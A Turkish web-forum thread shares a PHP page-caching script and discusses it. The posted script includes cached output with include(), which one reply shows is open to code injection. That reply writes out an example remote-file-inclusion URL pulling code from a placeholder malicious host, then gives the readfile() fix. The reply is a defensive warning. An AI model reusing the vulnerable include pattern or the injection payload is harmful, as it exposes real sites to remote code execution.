• 16-09-2007, 22:54:56
    #1
    iki adet dosya oluşturuyoruz : cache_header.php ve cache_footer.php

    cache_header.php nin içine :
    <?
    $filename = "%%-".md5($_SERVER['REQUEST_URI'])."-%%.html"; 
    $cachefile = "/home/xxx.com/http/cache/".$filename; // ana dizine bir cache kalörü açıp adresi yazıyoruz buraya
    $cachetime = 30 * 60; // cacje süresi
    if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile)) 
    { 
    include($cachefile); 
    exit; 
    } 
    ob_start(); 
    ?>
    yazıyoruz sonra

    cache_footer.php nin içine (güncellenen sayfalar için)

    <?
    $fp = fopen($cachefile, 'w+'); 
    fwrite($fp, ob_get_contents()); 
    fclose($fp); 
    ob_end_flush(); 
    ?>
    yazıyoruz.
    cache_header.php yi cahe liceğimiz sayfanın en üstüne ( config altına)
    cache_footer.php yi en altına ekliyoruz bu kadar.
    özellikle video siteleri için çok ideal bir sistem. denedi çalışıyor.
  • 29-12-2007, 10:31:57
    #2
    Üyeliği durduruldu
    gerçekten çok basit güzel ve hızlı. yalnız benim kullandığım sayfalarda footer'ı almadı.
    include($cachefile); satırının altına echo 'footer kodları'; ekleyince o sorunda aşılıyor. teşekkürler.
  • 29-12-2007, 15:06:01
    #3
    Kimlik doğrulama veya yönetimden onay bekliyor.
    ÇOk güzel Teşekkür Ederim

    Fakat Bazı Şeylere Dikkat Edilmesi gerekir Örnek Verecek Olursak

    site/index.php?goster=123

    Scriptin İçinde Herhangi bir Yerinde <? echo $_GET[goster]; ?> yazıyor İse
    Saldırgan
    site//index.php?goster=<? include $_GET[rfi]; ?>&rfi=http://zararlidosya

    yazdığında ilk Başta cache Klasorunde Dosya Oluşturur Ve içinde <? include $_GET[rfi]; ?> dosyası yazılır Saldırgan Url yi yeniden çağırırsa Yani tekrardan
    site//index.php?goster=<? include $_GET[rfi]; ?>&rfi=http://zararlidosyaYazarsa zararlı kodlar çalışacaktır


    Peki Bunu Nasıl Zararsız hale getirebiliriz derseniz

    Alıntı
    include($cachefile);
    Satırını

    Alıntı
    readfile($cachefile);
    Olarak Değiştirin
  • 29-12-2007, 15:43:10
    #4
    Sağolasın hakimi.
    S4l1h sende sağol bilgilendirdiğin için güzel kod.
  • 05-02-2008, 23:48:09
    #5
    Çok teşekkürler mükemmel bir özellik kullanmaya başladım gerçekten harika, fakat bu cache süresi 30 * 60, 30 dakikamı oluyor ?
  • 05-02-2008, 23:59:26
    #6
    Emegine saglık ama amatörlerin kullandıgı bir yöntem Manuel Cahce :P Ayrıca Konunun başlıgını editlersen sevinirim Sql cache degil bu sql Cache aldıgı verileri sqla kayıt eder.sizin belirttiginiz dizine html leri kayıt etmez
  • 06-02-2008, 01:34:59
    #7
    WebLOADER adlı üyeden alıntı: mesajı görüntüle
    Emegine saglık ama amatörlerin kullandıgı bir yöntem Manuel Cahce :P Ayrıca Konunun başlıgını editlersen sevinirim Sql cache degil bu sql Cache aldıgı verileri sqla kayıt eder.sizin belirttiginiz dizine html leri kayıt etmez
    Eminmisin ? Amatörler kullanıyor demişsin ama kodun ne yaptığını çözememişsin

    Bu tam olarak eklediğin tüm sayfayı cache/md5sifrelisayfa.html olarak kaydediyor 2. açışta hiçbir fonksiyon çalıştırmadan database'e bağlanmadan direk kayıtlı html sayfadan okutuyor, Cidden küçük bir kod ama harika bir sistem optimizasyonda son nokta
  • 06-02-2008, 03:00:30
    #8
    Kodun ne yaptıgını biliyorum arkadaşım bu kod sayfaların kaynagını alıyor cache/md5.html gibi kayıt ediyor.ama siz db ye yeni veri ekleyince cacheyi sıfırlamıyor.Manuel yani.Sql cache dedikleri böyle olmaz.Sql cache vbulletindeki gibi olur.
    Bu adı üstünde html cachedir.

    Ama güzel bir paylaşım yani tebrik ederim sadece insanların yanılmaması için uyardım bu sql cache degil html cachedir
  • 06-02-2008, 11:33:02
    #9
    hmm ben yanlış anladım dediğini o zaman sen aldığı verileri sql'a kaydeder dizine .html olarak kaydetmez deyince..

    Evet anlık güncelleme olan siteler için iyi bir sistem değil ama siteyi günde 1 kaç defa yada daha uzun sürede güncelliyorsanız iyi sistem